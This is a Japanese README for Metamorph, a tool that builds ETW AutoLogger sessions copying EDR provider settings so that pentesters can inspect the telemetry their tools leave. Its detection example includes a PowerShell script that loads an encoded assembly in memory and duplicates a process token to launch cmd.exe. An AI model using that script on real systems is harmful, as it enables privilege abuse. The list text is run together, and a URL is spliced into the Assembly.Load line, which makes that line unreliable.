
Windows向けにC言語で書かれたコマンドラインユーティリティで、永続的なEvent Tracing for Windows (ETW) AutoLoggerセッションの作成と構成を行います。
このツールは、Windows向けのC言語で書かれたコマンドラインユーティリティで、永続的なEvent Tracing for Windows (ETW) AutoLoggerセッションを作成・設定します。AutoLoggerはシステム起動時に特定のETWプロバイダーのトレースを自動的に開始するため、起動プロセスの初期に発生するイベントのキャプチャや、継続的な監視シナリオに役立ちます。
このツールは、コマンドライン引数によって、既知のEDRに関連するETWプロバイダーの定義済み リスト をAutoLoggerセッションに含めることを選択できます。複数の選択リストに同じプロバイダーが含まれている場合は設定をマージし、選択したリストに基づいてイベントカバレッジを最大化するため、最高のログレベルが使用され、キーワードフラグが適切に結合されます。
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\Metamorph)により、永続的なETW AutoLoggerセッションを作成します。-Defender、-Crowdstrike、-MDE、-Sentinelone、-Cortex)。-All)。-noisy)Level を保持します。MatchAnyKeyword フラグを すべて の重複(レベルに関係なく)からビット単位ORで結合し、最も広いキーワードカバレッジを確保します。MatchAllKeyword を使用します。Cコンパイラ(Visual Studioに付属のものなど)が必要です。
標準以外のインポートはないため、clコンパイルはそれほど手間なく可能です。
重要: このツールはWindowsレジストリ(HKEY_LOCAL_MACHINE)を変更するため、正しく実行するには 管理者権限 が必要です。
.\Metamorph.exe <options>
# Enable only providers from Defender
.\Metamorph.exe -Defender
# Enable providers from Defender and MDE, merging duplicates
.\Metamorph.exe -Defender -MDE
# Enable all providers from all engines, merging duplicates
.\Metamorph.exe -All
# Enabling one provider, also with noisy ones, because why not filling disk space after all?
.\Metamorph.exe -All -noisy
初期化後、新しく登録されたプロバイダーを開始するには再起動が必要です。
このプロバイダーをクリーンアップするには、次の手順を実行します:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\Metamorph に移動しますETWはランタイムイベントに対する深い可視性を提供します。これは、マルウェア活動や難読化テクニックを示す可能性のある、潜在的に疑わしいアクティビティを検出するために活用できます。 インストールされると、プロバイダーは「クローンされた」EDRと同じレベルの「イベントログ」テレメトリを提供するはずです。 これにより、内部ツールによって残される可能性のあるIOCの調査が容易になります。
システムが再起動し、対象のアプリケーションが実行された後、.etlファイル(例: Metamorph.etl)にキャプチャされたイベントが含まれます。
生成されたファイル(C:\Windows\System32\LogFiles\WMI\Metamorph.etl.00x)は、以下のような複数の公開ツールで取り込むことができます:
注意: Metamorphは再起動後に誤って失われないように循環ログファイルを使用していますが、一部のツールではファイルが.etlで終わっている必要があるため、使用前にサフィックスを削除する必要があります。
また、.etlファイルをCSVファイルに変換して簡単なgrepを行うことも可能です:
tracerpt MyKeywordMergedETWLogger.etl -o logdump.csv -of CSV
Assembly.Loadを使用してファイルをロードする次のPowerShellプログラムがあるとします:
[Reflection.Assembly]:https://raw.githubusercontent.com/synacktiv/metamorph/main/:Load(%5BSystem.Convert%5D::FromBase64String(%22TVqQAAMAAAAEAAAA/8AALgAAAAAAAAAQAAAAAA%5B...%5DAAAAAAAAAAAAA%22))
#Récupération du handle sur le process cible
$ProcessDesiredAccess = 0x00000400
$InheritHandle = 0
$ProcessId = $PID
$hProcess = [api32.run]::OpenProcess($ProcessDesiredAccess, $InheritHandle, $ProcessId)
if($hProcess -eq 0){ Write-Output "OpenProcess Error" }
#Récupération du handle sur le token du process cible
$hToken = [IntPtr]::Zero
$TokenDesiredAccess = 0x00000006
$Success = [api32.run]::OpenProcessToken($hProcess, $TokenDesiredAccess, [ref]$hToken)
if(-not $Success){ Write-Output "OpenProcessToken Error" }
#Duplication du token
$DesiredAccess = 0x10000000
$SecurityAttribute = New-Object api32.run+_SECURITY_ATTRIBUTES
$SecurityAttribute.lpSecurityDescriptor = [IntPtr]::Zero
$SecurityAttribute.bInheritHandle = $true
$ImpersonationLevel = 3
$TokenType = 1
$hDuplicatedToken = [IntPtr]::Zero
$Success = [api32.run]::DuplicateTokenEx($hToken, $DesiredAccess,[ref]$SecurityAttribute, $ImpersonationLevel, $TokenType,[ref]$hDuplicatedToken)
if(-not $Success) { Write-Debug "DuplicateTokenEx Error" }
#Creation du cmd avec le token dupliqué
$LogonFlags = 0
$ApplicationName = "cmd.exe"
$CommandLine = "/K whoami /all"
$CreationFlags = 0x00000010
$Environnement = [IntPtr]::Zero
$CurrentDirectory = "c:\windows\system32"
$StartUpinformation = New-Object api32.run+STARTUPINFOA
$ProcessInformation = New-Object api32.run+_PROCESS_INFORMATION
$Success = [api32.run]::CreateProcessWithTokenW($hDuplicatedToken, $LogonFlags,$ApplicationName, $CommandLine, $CreationFlags, $Environnement, $CurrentDirectory, [ref]$StartUpinformation,[ref]$ProcessInformation)
if(-not $Success) { Write-Debug "CreateProcessWithTokenW Error" }
このスクリプトは基本的に、impersonate.exeツールで実行される可能性のある攻撃と同様の攻撃を実行します。




結局、EDRとアナリストは、既知のバイナリのAssemblyName(例: <AssemblyName>Rubeus</AssemblyName>)に基づいてシグネチャ分析を行う機会があり、それ以外にも、PowerShellスクリプト(コメントを含む)を取得して事後分析を行う可能性があります。
このツールが役立つと思われた場合は、CONTRIBUTING.md の指示に従って、独自の(または他の)ソリューションを追加できます。定期的に更新するよう努めますが、ペンテスト中に遭遇したソリューションに完全に依存するため、変更を誰もが利用できるようにしたい場合は、遠慮なくPRを送ってください。